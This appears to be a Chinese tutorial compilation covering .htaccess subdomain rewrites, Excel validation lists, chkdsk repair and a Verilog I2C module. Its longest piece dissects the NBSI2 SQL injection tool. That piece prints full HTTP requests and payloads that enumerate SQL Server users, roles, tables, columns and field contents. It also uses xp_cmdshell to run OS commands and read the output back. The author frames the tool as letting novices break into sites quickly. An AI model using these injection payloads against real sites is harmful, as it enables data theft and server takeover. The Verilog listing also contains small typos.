下面是小编为大家整理的新手教程:用.htaccess实现二级域名功能,本文共10篇,供大家参考借鉴,希望可以帮助到有需要的朋友。

篇1:新手教程:用.htaccess实现二级域名功能
我从开通了一个独立IP LINUX空间,空间支持伪静态功能.由于网站根目录下安装的是DEDECMS,bbs目录下安装的是论坛,home目录下安装是ucenter...
我从开通了一个独立IP LINUX空间,空间支持伪静态功能.由于网站根目录下安装的是DEDECMS,bbs目录下安装的是论坛,home目录下安装是ucenterHome,虚拟主机只支持根目录绑定域名,如何让网站支持二级域名呢?下面我教你利用.htaccess实现一个网站空间可以用多个二级域名指向多个二级目录,建立多个网站.以独立IP虚拟主机为例:
一、将域名做一个泛解析*.xxxx.com 解析到你的空间IP,独立IP虚拟主机支持泛解析,不需要绑定域名就可以访问网站.
二、建立bbs、home 目录,将CMS上传到根目录,将论坛上传到bbs目录,将ucenterHome上传到home目录.
三、打开记事本将以下代码复制进去,保存为.htaccess文件,上传到根目录下.
.htaccess文件内容如下:(以xrnic.cn域名为例)
RewriteEngine on
DirectoryIndex index.php index.html index.htm
#让www.xrnic.cn 访问根目录CMS
以下为引用的内容:
RewriteCond %{HTTP_HOST} ^www.xrnic.cn$
RewriteCond %{REQUEST_URI} !^/
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ /$1
RewriteCond %{HTTP_HOST} ^www.xrnic.cn$
RewriteRule ^(/)?$ /index.php [L]
#让home.xrnic.cn 访问home目录UcenterHome
以下为引用的内容:
RewriteCond %{HTTP_HOST} ^home.xrnic.cn$
RewriteCond %{REQUEST_URI} !^/home/
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ /home/$1
RewriteCond %{HTTP_HOST} ^home.xrnic.cn$
RewriteRule ^(/)?$ home/index.php [L]
#让bbs.xrnic.cn 访问bbs目录论坛
以下为引用的内容:
RewriteCond %{HTTP_HOST} ^bbs.xrnic.cn$
RewriteCond %{REQUEST_URI} !^/wap/
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ /bbs/$1
RewriteCond %{HTTP_HOST} ^bbs.xrnic.cn$
RewriteRule ^(/)?$bbs/index.php [L]
按照以上方法可以一个空间建立N个网站,当然也可以把其他顶级域名指向子目录,实现一个空间建立多个网站的功能.
厚诚集智 成长无限 企业大学网 www.51hlht.com
篇2:用Excel列表 实现批量录入功能EXCEL基本教程
我们在使用Excel的过程中,通常需要输入大量的数据,这是保证我们顺利完成各项工作的基础。但是,在录入数据的过程中,尤其是录入大量数据的时候,经常会出现一些不经意的录入错误,而这,会严重影响我们所得到的结果正确性。那么,怎样才能有效地控制这种录入错误的发生呢?除了细心、细心、再细心以外,在Excel中完成必要的设置,以最大可能地减少错误的发生也是极为重要的。
一、设置数据列表
有时我们需要录入的数据是某些重复数据中的一个,比如单位员工所属的部门。单位中部门个数是有限的,如果我们都通过键盘手工录入每位员工的工作部门,那自然是费时费力,还容易出错的。因此,我们不如为这些部门指定一个数据列表。录入时只需要在下拉列表中单击选择相应的部门,就可以了。这不仅可以提高录入速度,还会使得录入的质量得到保证。
首先选中要填写员工部门的所有单元格,点击功能区“数据”选项卡“数据工具”功能组中的“数据有效性”按钮,在弹出的菜单中点击“数据有效性”命令,打开“数据有效性”对话框。
点击对话框中“设置”选项卡,在“允许”下方的下拉列表中选择“序列”选项,然后在下面“来源”输入框中输入各部门名称(人事部,一车间,二车间,生产部,技术部,办公室),部门之间用英文的逗号隔开,如图1所示。点击“确定”按钮关闭对话框。
图1 Excel设置序列
我们也可以在工作表的空白单元格某列中分别输入各个部门名称,比如在H1:H6单元格区域。然后在“来源”下的输入框中输入“=$H$1:$H$6”,也可以得到同样的效果。
现在将鼠标定位于刚才选中的那些单元格区域任一单元格,就会在右边出现一个下拉箭头,点击它就会出现刚才我们所设置的下拉列表,如图2所示,单击其中的项目就可以完成输入了。
图2 Excel中的下拉列表
二、在其它工作表中使用
如果我们希望能在其它的工作表单元格区域中使用这个部门下拉列表,那么我们可以使用自定义名称完成这个任务。
在空白单元格列中录入相应部门名称,比如H1:H6单元格区域,
然后选中此单元格区域,点击功能区“公式”选项卡“定义的名称”功能组中的“定义名称”按钮,打开“新建名称”对话框。如图3所示,在“名称”右侧的输入框中输入名称,比如“bumen”。在“范围”下拉列表中选择“工作簿”,而在“引用位置”右侧的输入框中会自动使用我们选中的单元格区域。确定后,就可以为我们所选的单元格区域指定“bumen”的名称了。
图3 Excel新建工作簿
现在要做的,就是在选定工作表的相应单元格区域后,再打开“数据有效性”对话框,然后在“来源”输入框中输入“=bumen”,就可以在当前的工作表中使用这个部门列表了。
如果觉得这个自定义名称的方法有些罗嗦的话,那下面的方法就简单多了。
选中已经设置好数据有效性的单元格,然后按下“Ctrl+C”键进行复制。再将鼠标定位于目标单
关 键 字:EXCEL
篇3:chkdsk工具修复怎么用 chkdsk工具修复功能使用教程
chkdsk工具修复功能使用教程:
1.在硬盘H损坏问题提示对话框上单击“确定”:
2.单击“开始”,然后输入cmd后,在出现的候选框中右击cmd,然后选择“以管理员身份运行”:
3.在命令符提示对话框中直接输入chkdsk h: /f 后按回车(H:是问题硬盘的盘符),然后耐心等待程序运行到结束:
4.如果在修复过程中出现“正在使用”之类的提示,可以使用命令行chkdsk h: /f /x并回车进行修复
5.对于需要查询FAT或者FAT32格式硬盘上的文件信息和完整路径,则直接输入chkdsk h: /v并回车即可:
篇4:用Verilog HDL实现I2C总线功能
用Verilog HDL实现I2C总线功能
摘要:简述了I2C总线的特点;介绍了开发FPGA时I2C总线模块的设计思想;给出并解释了用Verilog HDL实现部分I2C总线功能的程序,以及I2C总线主从模式下的仿真时序图。关键词:I2C总线 FPGA Verilog HDL 时序
开发FPGA时,利用EDA工具设计芯片实现系统功能已经成为支撑电子设计的通用平台,并逐步向支持系统级的设计方向发展。在软件设计过程中,越来越强调模块化设计。I2C总线是Philips公司推出的双向两线串行通讯标准,具有接口线少、通讯效率高等特点。把I2C总线设计成相应的模块,有利于相关FPCA的开发。 目前有一些介绍相关开发的资料,但都是利用VHDL语言或AHDL语言实现的。本文给出利用Verilog HDL语言设计的I2C总线模块。
1 I2C总线概述
I2C总线系统由两根总线即SCL(串行时钟)线和SDA(串行数据)线构成。这种总线可以设计成很多种通讯配置,但本文只讨论主从系统的应用。主器件控制总线通讯,开始/结束传送、发送信息并产生I2C系统时钟。在写操作过程中,从器件一旦被主控器件寻址,就执行特定的相应功能。在读操作过程中,主控器件从从器件那里获得数据。在整个主从传送过程中,所有的事件都通过主控器件的SCL时钟线达到同步。连到总线上的器件的接口形式必须是漏极开路或集电极开路输出状态。通过上拉电阻,使得两根总线在空闲的状态下都为高电平状态。因此I2C总线上具有线与功能,即总线上的所有器件都达到高电子状态时,I2C总线才能达到高电平状态,从而使总线上的高速器件和慢速器件工作同步。
在I2C协议中,从器件地址是一个唯一的7位地址。接下来是一个读写方向标志位,读状态是高电平、写状态是低电子。
(本网网收集整理)
2 I2C模块的设计与实现
根据I2C协议中传输过程的特点,I2C模块可以划分为字节发送模块、字节接收模块、开始条件模块、停止条件模块。其中,字节发送模块、字节接收模块和停止条件模块为基本模块。在开始条件模块中,因为需要发送从器件地址,所以要调用字节发送模块。
下面给出用Verilog HDL语言实现字节发送模块的关键程序。相关变量的声明在此略去。程序在Max+PlusII环境下编译、调试、仿真。
assign en_sdao=tempen_sdao;//设置SDA三态输出使能
assign send_byte_over=tempsend_byte_over;
assign NO_ACK=tempNO_ACK;
assign sdao=tempsda;
assign sclo=tempscl;
always@(posedge send_byte_clk)
begin
case(send_byte_zt)
sendbit 1:
begin
if(send_byte_num==0)
begin
shiftdata[7:0]=indata[7:0];
end
shiftdata=shiftdata<<1;
tempsda=shiftdata[8];
tempscl=1; //置SCL为高电平
send_byte_zt=delay_1;
send_byte_num=send_byte_num+1;
end
delay_1: //延时三个周期
begin
if(delay_counter>=2)
begin
send_byte_zt=sendbit2;
delay_counter=0;
end
else
begin
delay_counter=delay_counter+1;
send_byte_zt=send_byte_zt;
end
end
sendbit2:
begin
tempsc1=0; //SCL置零
send_byte_zt=delay_2;
end
delay_2: //延时三个周期
begin
if(delay_counter>=2)
begin
send_byte_zt=sendbit3;
delay_counter=0;
end
else
begin
delay_counter=delay_counter+1;
send_byte_zt=send_byte_zt;
end
end
sendbit3: //判断是否字节中所有位都发送完毕
begin
if(send_byte_num<=8)
begin
send_byte_zt=sendbit1;
end
else
begin
send_byte_zt=ForACK1;
send_byte_num=0;
end
end
ForACK1:
begin
tempsda=1; //释放数据线,等待应答信号
send_byte_zt=delay_ACK;
end
delay_ACK: //延时
begin
if(delay_counter>=3)
begin
send_byte_zt=ForACK2;
delay_counter=0;
end
else
begin
delay_counter=delay_counter+1;
send_byte_zt=send_byte_zt;
tempscl=1;
end
end
ForACK2:
begin
send_byte_zt=AckYESNO;
tempen_sdao=0; //输出SDA使能信号,控制sdao和sdai
end
AckYESNO:
begin
if(sdai) //如果应答信号sdai为1,NO_ACK置1
begin
tempNO_ACK=1; //设置未应答标志信号
end
tempsc1=0; //终止应答位
send_byte_zt=Finish_delay;
end
Finish_delay: //延时
begin
if(delay_counter>=2)
begin
tempsend_byte_over=1;
send_byte_zt=FinishACK1;
delay_counter=0;
end
else
begin
delay_counter=delay_counter+1;
send_byte_zt=send_byte_zt;
end
end
FinishACK1:
begin
send_byte_zt=sendbit1;
send_byte_num=0;
end
default:
begin
send_byte_zt=sendbit1;
send_byte_num=0;
end
endcase
end
程序中sdao、sclo为输出信号,sdai为应答信号,en_sdao是对sdao和sdai进行切换的信号。I2C总线具有SDA和SCL两根信号线,所以在整个模块设计中,把sdao/sclo和sdai/scli作为两组信号。当需要向外部SDA信号线上输出信息时,sdao连到SDA信号线上;当需要从外部SDA信号线上读入信息时,置sdao成高阻态,sdai连到SDA信号线上。en_sdao信号作为这一过程的切换信号。在程序中定义了一些状态信号:NO_ACK、send_byte_over。其中,NO_ACK信号判断从器件是否对发送的信号给予了应答。send_byte_over信号判断字节是否传输完毕。这些信号可以传递给上一层设计模块,以控制程序的流程。为了使I2C总线能够有效地通讯,必须考虑信号的建立和保持时间,所以程序中设置了相应的延时部分。另外,在以clk为触发信号的过程模块中,定义send_byte_clk信号为时钟信号的两倍频信号
,并加入字节发送模块使能信号start_send_byte控制模块工作于篇幅所限,略去该过程模块。
字节发送模块的'仿真测试结果如图1所示。
根据I2C总线标准,利用Verilog HDL很容易实现字节接收模块、开始条件模块、停止条件模块这三个模块。图2是数据发送过程的仿真测试结果。从器件的7位地址为101011,向从器件发送的数据为00010111。aensclo和aensdao分别是sclo/scli和sdao/sdai的切换信号。
图3是数据接收过程的仿真测试结果。从器件的7位地址为0011001,从器件发送的数据为11111111。ensclo和ensdao分别是sclo/scli和sdao/sdai的切换信号。
将图2和图3所模拟的I2C总线时序与I2C总线协议中相关要求进行比较,满足I2C总线的时序要求。
对各个模块进行多层次处理,形成I2C总线模块。
以该I2C总线模块为基础,编写FPGA与AT24C01A(ATMEL公司生产的E2PROM)的通讯程序。然后把相关程序下载到EPF10Kl0LC84-3中,与AT24C01A进行实际通讯实验,效果良好。
篇5:NBSI2内部功能实现大揭谜数据库教程
NBSI2内部功能实现大揭谜
前段时间SQL注入很流行,用过小竹的NB2的人可能都知道,这个工具接近无敌,菜鸟用了它也能数秒把一个站给黑了,但是不了解其中的注入过程 可以说永远都进步不了吧~~
首先声明,我也只是菜鸟一个,正好最近在研究SQL,随便把NB2的注入过程给研究了一个,所用工具wse,相信大家不会陌生的,网上到处有得下,我给一个地址,www.gxgl.com/soft/WSE06b1.zip,这是一个用来监视和修改网络发送和接收数据的程序,可以用来帮助您调试网络应用程序,
废话少说,开工,先在网上随便找一个有SQL注入漏洞得站点www.testdb.net,找到一个注射点:www.testdb.net/article_read.asp?id=80
呵呵,www.testdb.net这个网址当然是不存在了。
过程一、取得SQl Server数据库信息
打开nb2,输入地址:www.testdb.net/article_read.asp?id=80,选择“get”方式,点“检测”按钮,
取得SQl Server数据库得如下信息:
多句执行:未知
子查询:支持
当前用户:test
用户权限:DB_OWNER
当前库:testdb
用过nb2的人应该都很熟悉上面的内容把~~
%20解释为空格 %2B解释为+号,%25解释为%号
HTTP/1.1 200 OK //返回成功
HTTP/1.1 500 Internal Server Error
用wse检测Get包信息,如下:
GET /article_read.asp?id=80 HTTP/1.1
GET /article_read.asp?id=80%20and%20user%2Bchar(124)=0 HTTP/1.1
即:article_read.asp?id=80 and user+char(124)=0
char(124)为字符'|'
GET /article_read.asp?id=80;declare%20@a%20int-- HTTP/1.1
即:article_read.asp?id=80;declare @a int--
//判断是否支持多句查询
GET /article_read.asp?id=80%20and%20(Select%20count(1)%20from%20[sysobjects])>=0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: articleid=80%3Bdeclare+%40a+int%2D%2D; ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED
即:article_read.asp?id=80 and (Select count(1) from [sysobjects])>=0
//判断是否支持子查询
GET /article_read.asp?id=80%20And%20user%2Bchar(124)=0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%3D0;
ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED
即:article_read.asp?id=80 And user+char(124)=0
//取得当前用户
user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将
nvarchar的值转成int型,转的过程中肯定会出错,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 ”east_asp” 转
换数据类型为 int 的列时发生语法错误,呵呵,east_asp正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。and user>0
GET /article_read.asp?id=80%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)
=1 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%3D0;
ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED
即:article_read.asp?id=80 And Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))+char(124)=1
函数说明:
IS_SRVROLEMEMBER指明当前的用户登录是否是指定的服务器角色的成员。
语法
IS_SRVROLEMEMBER ( 'role' [ , 'login' ] )
参数
'role' 被检查的服务器角色的名称。role 的数据类型为 sysname。
role 有效的值是: sysadmin,dbcreator,diskadmin,processadmin,serveradmin,etupadmin,securityadmin
'login'
将要检查的登录的可选名称。login 的数据类型为 sysname,默认值为 NULL。如果未指定,那么使用当前用户的登录帐户。
select Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))+char(124) 结果为“1|”
GET /article_read.asp?id=80%20And%20Cast(IS_MEMBER(0x64006F006F0077006E0065007200)%20as%20varchar(1))%2Bchar(124)=1
HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%3D0;
ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED
即:article_read.asp?id=80 And Cast(IS_MEMBER(0x640062005F006F0077006E0065007200) as varchar(1))+char(124)=1
select Cast(IS_MEMBER(0x640062005F006F0077006E0065007200) as varchar(1))+char(124) 结果为“1|”,和上面得返回结果一样,但注意
IS_MEMBER里面的那一长字符串和上面的不一样,不知代表什么意思,0x730079007300610064006D0069006E00转化后为“|O|@ E ”,本以为
是“sysadmin”类似的字串,但看来不是,算了,不想了,呵呵,但我想,其作用应该是取得当前用户的权限把,如:DB_OWNER
GET /article_read.asp?id=80%20And%20db_name%2Bchar(124)=0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%3D0;
ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED
即:article_read.asp?id=80 And db_name()+char(124)=0
这一句,看到有一个db_name()函数,不用多说,大家应该知道了,db_name()是另一个系统变量,返回的是连接的数据库名。
到次,获取SQL数据库信息的过程算是分析完毕。
另:post方法不再详细分析,大家可自己看一下,下面是post方法时抓的包,具体同Get方法基本一样,主要看最后一行的信息。
其中也用到很多技巧:如下:
id=80%20and%20user%2Bchar(124)=0
id=80'%20and%20user%2Bchar(124)=0%20and%20''='
id=80%25'%20and%20user%2Bchar(124)=0%20and%20'%25'='
id=80%20And%201=1
id=80%20And%201=2
id=80'%20And%201=1%20And%20''='
id=80'%20And%201=2%20And%20''='
id=80%25'%20And%201=1%20And%20'%25'='
id=80%25'%20And%201=2%20And%20'%25'='
//////////////////////////////////////////////
过程二、猜解表名
Top1
GET /article_read.asp?id=80%20And%20(Select%20Top%201%20cast(name%20as%20varchar(8000))%20from(Select%20Top%201%20id,name%
20from%20[testdb]..[sysobjects]%20Where%20xtype=char(85)%20order%20by%20id)%20T%20order%20by%20id%20desc)>0 HTTP/1.1
即:article_read.asp?id=80 And (Select Top 1 cast(name as varchar(8000)) from(Select Top 1 id,name from
[testdb]..[sysobjects] Where xtype=char(85) order by id) T order by id desc)>0
char(85)='U'
作用是取得testdb数据库第一个表的表名,以此类推Top N,可以取得其它的表名。
Top2
GET /article_read.asp?id=80%20And%20(Select%20Top%201%20cast(name%20as%20varchar(8000))%20from(Select%20Top%202%20id,name%
20from%20[testdb]..[sysobjects]%20Where%20xtype=char(85)%20order%20by%20id)%20T%20order%20by%20id%20desc)>0 HTTP/1.1
...
TopN
wse抓获的包信息:
GET /article_read.asp?id=80%20And%20(Select%20Top%201%20cast(name%20as%20varchar(8000))%20from(Select%20Top%201%20id,name%
20from%20[testdb]..[sysobjects]%20Where%20xtype=char(85)%20order%20by%20id)%20T%20order%20by%20id%20desc)>0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%
3D0
...........
//////////////////////////////////////////////
过程三、根据某个表名猜解列名
表名:article
Top1
GET /article_read.asp?id=80%20And%20(Select%20Top%201%20cast(name%20as%20varchar(8000))%20from%20(Select%20Top%201%
20colid,name%20From%20[testdb]..[syscolumns]%20Where%20id%20=%20OBJECT_ID(NCHAR(101)%2BNCHAR(97)%2BNCHAR(115)%2BNCHAR(116)%
2BNCHAR(104)%2BNCHAR(111)%2BNCHAR(116)%2BNCHAR(46)%2BNCHAR(46)%2BNCHAR(65)%2BNCHAR(82)%2BNCHAR(84)%2BNCHAR(73)%2BNCHAR(67)%
2BNCHAR(76)%2BNCHAR(69))%20Order%20by%20colid)%20T%20Order%20by%20colid%20desc)>0 HTTP/1.1
即:article_read.asp?id=80 And (Select Top 1 cast(name as varchar(8000)) from (Select Top 1 colid,name From
[testdb]..[syscolumns] Where id = OBJECT_ID(NCHAR(101)+NCHAR(97)+NCHAR(115)+NCHAR(116)+NCHAR(104)+NCHAR(111)+
NCHAR(116)+NCHAR(46)+NCHAR(46)+NCHAR(65)+NCHAR(82)+NCHAR(84)+NCHAR(73)+NCHAR(67)+NCHAR(76)+NCHAR(69))
Order by colid) T Order by colid desc)>0
作用是取得article表的第一个列的列名,以此类推Top N,可以取得其它的列名。
函数说明:
OBJECT_ID 返回数据库对象标识号。
语法 OBJECT_ID ( 'object' )
参数 'object'
要使用的对象。object 的数据类型为 char 或 nchar。如果 object 的数据类型是 char,那么隐性将其转换成 nchar。
返回类型 int
NCHAR(101)+NCHAR(97)+NCHAR(115)+NCHAR(116)+NCHAR(104)+NCHAR(111)+NCHAR(116)+NCHAR(46)+
NCHAR(46)+NCHAR(65)+NCHAR(82)+NCHAR(84)+NCHAR(73)+NCHAR(67)+NCHAR(76)+NCHAR(69)
对应于字符串 testdb..ARTICLE
即是:article_read.asp?id=80 And (Select Top 1 cast(name as varchar(8000)) from (Select Top 1 colid,name From
[testdb]..[syscolumns] Where id = OBJECT_ID('testdb..ARTICLE')
Order by colid) T Order by colid desc)>0
Top2
GET /article_read.asp?id=80%20And%20(Select%20Top%201%20cast(name%20as%20varchar(8000))%20from%20(Select%20Top%202%
20colid,name%20From%20[testdb]..[syscolumns]%20Where%20id%20=%20OBJECT_ID(NCHAR(101)%2BNCHAR(97)%2BNCHAR(115)%2BNCHAR(116)%
2BNCHAR(104)%2BNCHAR(111)%2BNCHAR(116)%2BNCHAR(46)%2BNCHAR(46)%2BNCHAR(65)%2BNCHAR(82)%2BNCHAR(84)%2BNCHAR(73)%2BNCHAR(67)%
2BNCHAR(76)%2BNCHAR(69))%20Order%20by%20colid)%20T%20Order%20by%20colid%20desc)>0 HTTP/1.1
TopN
...
wse抓获的包信息:
GET /article_read.asp?id=80%20And%20(Select%20Top%201%20cast(name%20as%20varchar(8000))%20from%20(Select%20Top%201%
20colid,name%20From%20[testdb]..[syscolumns]%20Where%20id%20=%20OBJECT_ID(NCHAR(101)%2BNCHAR(97)%2BNCHAR(115)%2BNCHAR(116)%
2BNCHAR(104)%2BNCHAR(111)%2BNCHAR(116)%2BNCHAR(46)%2BNCHAR(46)%2BNCHAR(65)%2BNCHAR(82)%2BNCHAR(84)%2BNCHAR(73)%2BNCHAR(67)%
2BNCHAR(76)%2BNCHAR(69))%20Order%20by%20colid)%20T%20Order%20by%20colid%20desc)>0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%
3D0
...............
//////////////////////////////////////////////
过程四、根据列名猜解字段内容
字段名:Title
Top1
GET /article_read.asp?id=80%20And%20(Select%20Top%201%20isNull(cast([TITLE]%20as%20varchar(8000)),char(32))%2Bchar(124)%
20From%20(Select%20Top%201%20[TITLE]%20From%20[testdb]..[ARTICLE]%20Where%201=1%20Order%20by%20[TITLE])%20T%20Order%20by%20
[TITLE]%20desc)>0 HTTP/1.1
即:article_read.asp?id=80 And (Select Top 1 isNull(cast([TITLE] as varchar(8000)),char(32))+char(124)
From (Select Top 1 [TITLE] From [testdb]..[ARTICLE] Where 1=1 Order by [TITLE]) T Order by [TITLE] desc)>0
作用是取得TITLE字段的第一行记录的值,以此类推Top N,可以取得其它行的值,
Top2
GET /article_read.asp?id=80%20And%20(Select%20Top%201%20isNull(cast([TITLE]%20as%20varchar(8000)),char(32))%2Bchar(124)%
20From%20(Select%20Top%202%20[TITLE]%20From%20[testdb]..[ARTICLE]%20Where%201=1%20Order%20by%20[TITLE])%20T%20Order%20by%20
[TITLE]%20desc)>0 HTTP/1.1
TopN
...
wse抓获的包信息:
//取得article表的记录数
GET /article_read.asp?id=80%20And%20(Select%20Cast(Count(1)%20as%20varchar(8000))%2Bchar(124)%20From%20[testdb]..[ARTICLE]%
20Where%201=1)>0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%
3D0
//取得Article表的Title字段的第一条记录内容
GET /article_read.asp?id=80%20And%20(Select%20Top%201%20isNull(cast([TITLE]%20as%20varchar(8000)),char(32))%2Bchar(124)%
20From%20(Select%20Top%201%20[TITLE]%20From%20[testdb]..[ARTICLE]%20Where%201=1%20Order%20by%20[TITLE])%20T%20Order%20by%20
[TITLE]%20desc)>0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%
3D0
...............
//////////////////////////////////////////////
到此,数据库的表名,字段名及字段内容的分析基本结束,再看一下其它主要功能的分析。
过程五、执行Dos命令和执行SQL语句
执行Dos命令 dir c:\
////////////////////////////////////////////////
回显抓包分析:
GET /article_read.asp?id=80%20And%20db_name()%2Bchar(124)=0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%
3D0
GET /article_read.asp?id=80;EXEC%20MASTER..XP_CMDSHELL%20'Dir%20C:\%20>%20C:\NB_Commander_Txt.log';DROP%20TABLE%
20NB_Commander_Tmp;CREATE%20TABLE%20NB_Commander_Tmp(ResultTxt%20varchar(7996)%20NULL);BULK%20INSERT%20[testdb]..
[NB_Commander_Tmp]%20FROM%20'C:\NB_Commander_Txt.log'%20WITH%20(KEEPNULLS);Alter%20Table%20NB_Commander_Tmp%20add%20ID%
20int%20NOT%20NULL%20IDENTITY%20(1,1)-- HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%
3D0
主要是这个:
article_read.asp?id=80;EXEC MASTER..XP_CMDSHELL 'Dir C:\ >C:\NB_Commander_Txt.log';
DROP TABLE NB_Commander_Tmp;CREATE TABLE NB_Commander_Tmp(ResultTxt varchar(7996) NULL);
BULK INSERT [testdb]..[NB_Commander_Tmp] FROM 'C:\NB_Commander_Txt.log' WITH (KEEPNULLS);
Alter Table NB_Commander_Tmp add ID int NOT NULL IDENTITY%20(1,1)--
BULK INSERT 以用户指定的格式复制一个数据文件至数据库表或视图中。
KEEPNULLS 指定在大容量复制操作中空列应保留一个空值,而不是对插入的列赋予默认值。
具体的详细介绍请查看T-sql语法,有详细说明。
上面语句的功能就是就是将执行Dos命令Dir c:\的结果保存到一个文件NB_Commander_Txt.log中,然后将此文件的内容写入到新建的临时表
NB_Commander_Tmp,并增加一个自增长字段ID,相信大家很容易看明白。
ID=1
GET /article_read.asp?id=80%20And%20(Select%20Top%201%20CASE%20WHEN%20ResultTxt%20is%20Null%20then%20'|'%20else%20ResultTxt%
2B'|'%20End%20From%20NB_Commander_Tmp%20Where%20ID=1)=0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80%3BEXEC+MASTER%2E%2EXP%5FCMDSHELL+%27Dir+C%3A%5C+%3E+C%
3A%5CNB%5FCommander%5FTxt%2Elog%27%3BDROP+TABLE+NB%5FCommander%5FTmp%3BCREATE+TABLE+NB%5FCommander%5FTmp%
28ResultTxt+varchar%287996%29+NULL%29%3BBULK+INSERT+%5Btestdb%5D%2E%2E%5BNB%5FCommander%5FTmp%5D+FROM+%27C%3A%5CNB%
5FCommander%5FTxt%2Elog%27+WITH+%28KEEPNULLS%29%3BAlter+Table+NB%5FCommander%5FTmp+add+ID+int+NOT+NULL+IDENTITY+%281%2C1%29%
2D%2D
即:article_read.asp?id=80 And (Select Top 1 CASE WHEN ResultTxt is Null then '|' else ResultTxt+'|' End
From NB_Commander_Tmp Where ID=1)=0
输入第一条回显结果,以下同,TopN输入所有的回显结果。
ID=2
GET /article_read.asp?id=80%20And%20(Select%20Top%201%20CASE%20WHEN%20ResultTxt%20is%20Null%20then%20'|'%20else%20ResultTxt%
2B'|'%20End%20From%20NB_Commander_Tmp%20Where%20ID=2)=0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
